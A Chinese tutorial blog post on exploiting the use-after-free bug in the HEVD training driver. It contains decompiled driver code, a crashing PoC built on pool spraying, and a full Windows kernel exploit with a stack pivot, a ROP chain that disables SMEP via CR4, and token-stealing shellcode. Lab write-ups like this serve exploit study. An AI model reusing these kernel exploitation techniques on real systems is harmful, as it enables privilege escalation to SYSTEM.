【WinPwn】 HEVD练习中的UaF利用

admin 2026年11月1日22:44:02评论0 views字数 9182阅读30分36秒阅读模式

本文以HEVD为练习目标,分析Use-After-Free(UaF)漏洞的利用方法。首先剖析AllocateUaFObjectNonPagedPool函数,该函数从非分页池分配0x60大小堆块并设置回调函数UaFObjectCallbackNonPagedPool;随后介绍UseUaFObjectNonPagedPool函数,通过全局变量引用该堆块并调用其回调函数,从而形成UaF利用路径。

继续使用HEVD作为练习目标

漏洞点分析

主要涉及到的函数如下

AllocateUaFObjectNonPagedPool,主要是分配内核堆,简称函数A

__int64 __fastcall AllocateUaFObjectNonPagedPool(){  const void **PoolWithTag; // rdi  DbgPrintEx(0x4Du, 3u, "[+] Allocating UaF Objectn");  PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPool, 0x60u, 'kcaH');  if ( PoolWithTag )  {    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %sn", "'kcaH'");    DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %sn", "NonPagedPool");    DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%Xn", 96);    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%pn", PoolWithTag);    memset(PoolWithTag + 1, 65, 0x54u);    *((_BYTE *)PoolWithTag + 0x5B) = 0;    *PoolWithTag = UaFObjectCallbackNonPagedPool;//设置回调函数    g_UseAfterFreeObjectNonPagedPool = PoolWithTag;    DbgPrintEx(0x4Du, 3u, "[+] UseAfterFree Object: 0x%pn", PoolWithTag);    DbgPrintEx(0x4Du, 3u, "[+] g_UseAfterFreeObjectNonPagedPool: 0x%pn", g_UseAfterFreeObjectNonPagedPool);    DbgPrintEx(0x4Du, 3u, "[+] UseAfterFree->Callback: 0x%pn", *PoolWithTag);    return 0xC0000001LL;  }  else  {    DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunkn");    return 0xC0000017LL;  }}

其中在g_UseAfterFreeObjectNonPagedPool(即PoolWithTag)设置了回调函数UaFObjectCallbackNonPagedPool

ULONG UaFObjectCallbackNonPagedPool(){  return DbgPrintEx(0x4Du, 3u, "[+] UseAfter Free Object Callback NonPagedPooln");}

UseUaFObjectNonPagedPool,根据全局变量找到这个堆块,然后调用其回调函数,简称函数B

__int64 __fastcall UseUaFObjectNonPagedPool(){  unsigned int v0; // ebx  v0 = 0xC0000001;  if ( g_UseAfterFreeObjectNonPagedPool )  {    DbgPrintEx(0x4Du, 3u, "[+] Using UaF Objectn");    DbgPrintEx(0x4Du, 3u, "[+] g_UseAfterFreeObjectNonPagedPool: 0x%pn", g_UseAfterFreeObjectNonPagedPool);    DbgPrintEx(      0x4Du,      3u,      "[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%pn",      *(const void **)g_UseAfterFreeObjectNonPagedPool);    DbgPrintEx(0x4Du, 3u, "[+] Calling Callbackn");    if ( *(_QWORD *)g_UseAfterFreeObjectNonPagedPool )      (*(void (**)(void))g_UseAfterFreeObjectNonPagedPool)();    return 0;  }  return v0;}

FreeUaFObjectNonPagedPool:释放我们申请的堆块,简称函数C

__int64 __fastcall FreeUaFObjectNonPagedPool(){  unsigned int v0; // ebx  v0 = 0xC0000001;  if ( g_UseAfterFreeObjectNonPagedPool )  {    DbgPrintEx(0x4Du, 3u, "[+] Freeing UaF Objectn");    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %sn", "'kcaH'");    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%pn", g_UseAfterFreeObjectNonPagedPool);    ExFreePoolWithTag(g_UseAfterFreeObjectNonPagedPool, 'kcaH');    return 0;  }  return v0;}

并且释放后没有将g_UseAfterFreeObjectNonPagedPool指针置为0,造成可以释放后重用

一般情况下使用方式是A->B->C,但是可以A->C->B就构成了 Use after Free(释放后使用)

在C->B这个过程中如果能让我们的申请到这个区块,这样我们就能改写回调函数的内容从而实现漏洞利用

PoC编写

先写功能点吧,经典的CTF pwn步骤

voidAllocatePool(HANDLE hDevice){    DeviceIoControl(hDevice, 0x222013,        nullptr, 0,        NULL, 0,        nullptr, NULL);}voidUsePool(HANDLE hDevice){    DeviceIoControl(hDevice, 0x222017,        nullptr, 0,        NULL, 0,        nullptr, NULL);}voidFreePool(HANDLE hDevice){    DeviceIoControl(hDevice, 0x22201B,        nullptr, 0,        NULL, 0,        nullptr, NULL);}

现在我们的目标首先是将回调函数覆写(例如AAAAAAAAAA),先造成蓝屏

注意到AllocateUaFObjectNonPagedPool申请的chunk大小是0x60,实际分配大小应该是0x70。

这里我们无法精确的布置堆风水,所以顺着之前文章在内核池溢出的堆喷射进行攻击,这里尝试使用named pipe作为内核对象

【WinPwn】 HEVD练习中的UaF利用

不过HEVD提供了更简单版本的AllocateFakeObjectNonPagedPool函数

__int64 __fastcall AllocateFakeObjectNonPagedPool(_FAKE_OBJECT_NON_PAGED_POOL *UserFakeObject){  _OWORD *PoolWithTag; // rdi  DbgPrintEx(0x4Du, 3u, "[+] Creating Fake Objectn");  PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, 0x58u, 'kcaH');  if ( PoolWithTag )  {    DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %sn", "'kcaH'");    DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %sn", "NonPagedPool");    DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%Xn", 0x58);    DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%pn", PoolWithTag);    ProbeForRead(UserFakeObject, 0x58u, 1u);    *PoolWithTag = *(_OWORD *)UserFakeObject->Buffer;    PoolWithTag[1] = *(_OWORD *)&UserFakeObject->Buffer[16];    PoolWithTag[2] = *(_OWORD *)&UserFakeObject->Buffer[32];    PoolWithTag[3] = *(_OWORD *)&UserFakeObject->Buffer[48];    PoolWithTag[4] = *(_OWORD *)&UserFakeObject->Buffer[64];    *((_QWORD *)PoolWithTag + 10) = *(_QWORD *)&UserFakeObject->Buffer[80];    *((_BYTE *)PoolWithTag + 87) = 0;    DbgPrintEx(0x4Du, 3u, "[+] Fake Object: 0x%pn", PoolWithTag);    return 0;  }  else  {    DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunkn");    return 3221225495LL;  }}

能帮我们在内核创建一个大小为0x70的chunk(0x58大小对齐=0x60+0x10_head = 0x70)

我最开始以为不需要对占用的chunk做特殊的限制直接全部覆写为C就能出发DSOD,然后调试发现最后Use会报错,

我们用0x4343434343434343覆写后:

【WinPwn】 HEVD练习中的UaF利用

然后报错

【WinPwn】 HEVD练习中的UaF利用

因为64 位模式下,虽然寄存器是 64 位,但实际虚拟地址只有 48 位(4 级页表)。一个地址要"合法"(canonical),必须满足:

bit 63:48 必须等于 bit 47 的符号扩展(即全 0 或全 1)

这里借鉴了[1]的地址改为0xdeadc0de即可满足

得到PoC

#include"include/exp/uaf.hpp"namespace exploit::uaf{    voidAllocatePool(HANDLE hDevice){        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_ALLOCATE,            NULL, 0,            NULL, 0,            &result, NULL)) {            // std::cout << "[x] AllocatePool Failed: " << GetLastError() << "n";            // exit(-1);        }    }    voidUsePool(HANDLE hDevice){        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_USE,            NULL, 0,            NULL, 0,            &result, NULL)) {            std::cout << "[x] UsePool Failed: " << GetLastError() << "n";            exit(-1);        }    }    voidFreePool(HANDLE hDevice){        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_FREE,            NULL, 0,            NULL, 0,            &result, NULL)) {            std::cout << "[x] AllocatePool Failed: " << GetLastError() << "n";            exit(-1);        }    }    voidAllocateObject(HANDLE hDevice, unsignedint size){        auto buffer = new char[size];        memset(buffer, 'C', size);        *(ULONG_PTR*)(buffer) = (ULONG_PTR)(0xdeadc0de);        DWORD result;        if (!DeviceIoControl(hDevice, IOCTL_ALLOCATE_OBJECT,            buffer, size,            NULL, 0,            &result, NULL)) {            std::cout << "[x] AllocateObject Failed: " << GetLastError() << "n";            exit(-1);        }        delete[] buffer;    }    voidExploit(HANDLE hDevice){        AllocatePool(hDevice);        std::cout << "[+] Allocated Pool, next to free itn";        FreePool(hDevice);        std::cout << "[+] Freed Pool, next to sprayn";        for (size_t i = 0; i < 0x10000; i++) {            if (i % 100 == 0)                std::cout << ".";            AllocateObject(hDevice, 0x60);        }        std::cout << std::endl;        std::cout << "[+] Wish luck enough to fill the hole, now use itn";        UsePool(hDevice);    }} // namespace exploit

我一般运行两次就会BSOD

【WinPwn】 HEVD练习中的UaF利用

【WinPwn】 HEVD练习中的UaF利用

Exp编写

参考之前CVE-2023-21768的打法,使用VirtualAllocEx在申请合法内存填入shellcode然后执行,这里使用的Shellcode和之前栈溢出的一致,并且依旧需要进行ROP(绕过SMEP),这段可以参考StackOverflow中的ROP链,但是首先要做的是栈迁移。我学习了[1]中的栈迁移打法

首先找到ROP

【WinPwn】 HEVD练习中的UaF利用

ropper --file ntoskrnl.exe --console --clear-cachesearch mov esp, 0x0x00000001402996f0: mov esp, 0x48000000; add esp, 0x28; ret;

然后利用windows API VirtualLock

BOOL VirtualLock(  [in] LPVOID lpAddress,  [in] SIZE_T dwSize);

将进程的虚拟地址空间的指定区域锁定到物理内存中,确保后续访问该区域不会产生页面错误。

这里依旧有一些小问题

在执行栈迁移(pivot)gadget 时,程序发生了崩溃。这类问题调试起来可能比较棘手,原因在于涉及两个方面:首先,我们需要在 gadget 前后预留一定的空间,以便内核能够对其进行读写操作;其次,必须确保栈内存已被调入物理内存(即已完成分页),因为在此阶段无法处理缺页异常(此时我们仍处于内核模式)。我们对概念验证(PoC)代码进行了更新:在缓冲区前额外分配了 0x1000 字节的空间,并使用 VirtualLock 函数强制将相关内存调入物理内存。

if (!VirtualLock(lpFakeStack, 0x14000)) {    std::cout << "[x] VirtualLock lpFakeStack Failedn";    exit(-1);}

需要注意的是由于使用了栈迁移,这里暂时只能使用换页结束的shellcode。

完全EXP:

https://github.com/Joe1sn/WinX_HEVD_EXP/blob/main/src/exp/uaf.cpp

voidExploit(HANDLE hDevice){    lpSpace = VirtualAlloc(NULL, sizeof(exploit::shellcode::SpawnTokenWithoutAnyProtect) + 0x10, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    RtlCopyMemory(lpSpace, exploit::shellcode::SpawnTokenWithoutAnyProtect, sizeof(exploit::shellcode::SpawnTokenWithoutAnyProtect));    printf("[*] Shellcode address: %pn", lpSpace);    unsigned long long base = exploit::memtools::ulGetKernelBase((PCHAR)"ntoskrnl.exe");    unsigned long long pop_rcx = base + exploit::gadget::X_19045_2006::pop_rcx_ret;    unsigned long long mov_cr4_rcx = base + exploit::gadget::X_19045_2006::mov_cr4_rcx_ret;    lpStackPivot = base + exploit::gadget::X_19045_2006::mov_esp_add_ret;    printf("[*] pop rcx; ret: %pn[*] mov cr4, rcx; ret: %pn[*] mov esp 0x, add, ret: %pn", pop_rcx, mov_cr4_rcx, lpStackPivot);    ULONG_PTR stackAddr = FakeStackAddr - 0x1000;    lpFakeStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    printf("[*] Fake stack addr: %pn", lpFakeStack);    printf("[*] Start set ROPn");    *(unsigned long long*)(FakeStackAddr + 0x28) = (unsigned long long)pop_rcx;    *(unsigned long long*)(FakeStackAddr + 0x30) = (unsigned long long)exploit::gadget::X_19045_2006::bypassSMEPVal;    *(unsigned long long*)(FakeStackAddr + 0x38) = (unsigned long long)mov_cr4_rcx;    *(unsigned long long*)(FakeStackAddr + 0x40) = (unsigned long long)lpSpace;    std::cout << "[+] Fragment aglinen";    for (size_t i = 0; i < 0x2000; i++) {        if (i % 100 == 0)            std::cout << ".";        AllocateObject(hDevice, 0x60);    }    AllocatePool(hDevice);    std::cout << "[+] Allocated Pool, next to free itn";    FreePool(hDevice);    std::cout << "[+] Freed Pool, next to sprayn";    for (size_t i = 0; i < 0x10000; i++) {        if (i % 100 == 0)            std::cout << ".";        AllocateObject(hDevice, 0x60);    }    std::cout << std::endl;    std::cout << "[+] Wish luck enough to fill the hole, now use itn";    if (!VirtualLock(lpFakeStack, 0x15000)) {        std::cout << "[x] VirtualLock lpFakeStack Failedn";        exit(-1);    }    UsePool(hDevice);    system("cmd.exe");}

【WinPwn】 HEVD练习中的UaF利用

参考

[1] https://vuln.dev/windows-kernel-exploitation-hevd-x64-use-after-free/#vulnerability-discovery

原文始发于微信公众号(不止Sec):【WinPwn】 HEVD练习中的UaF利用

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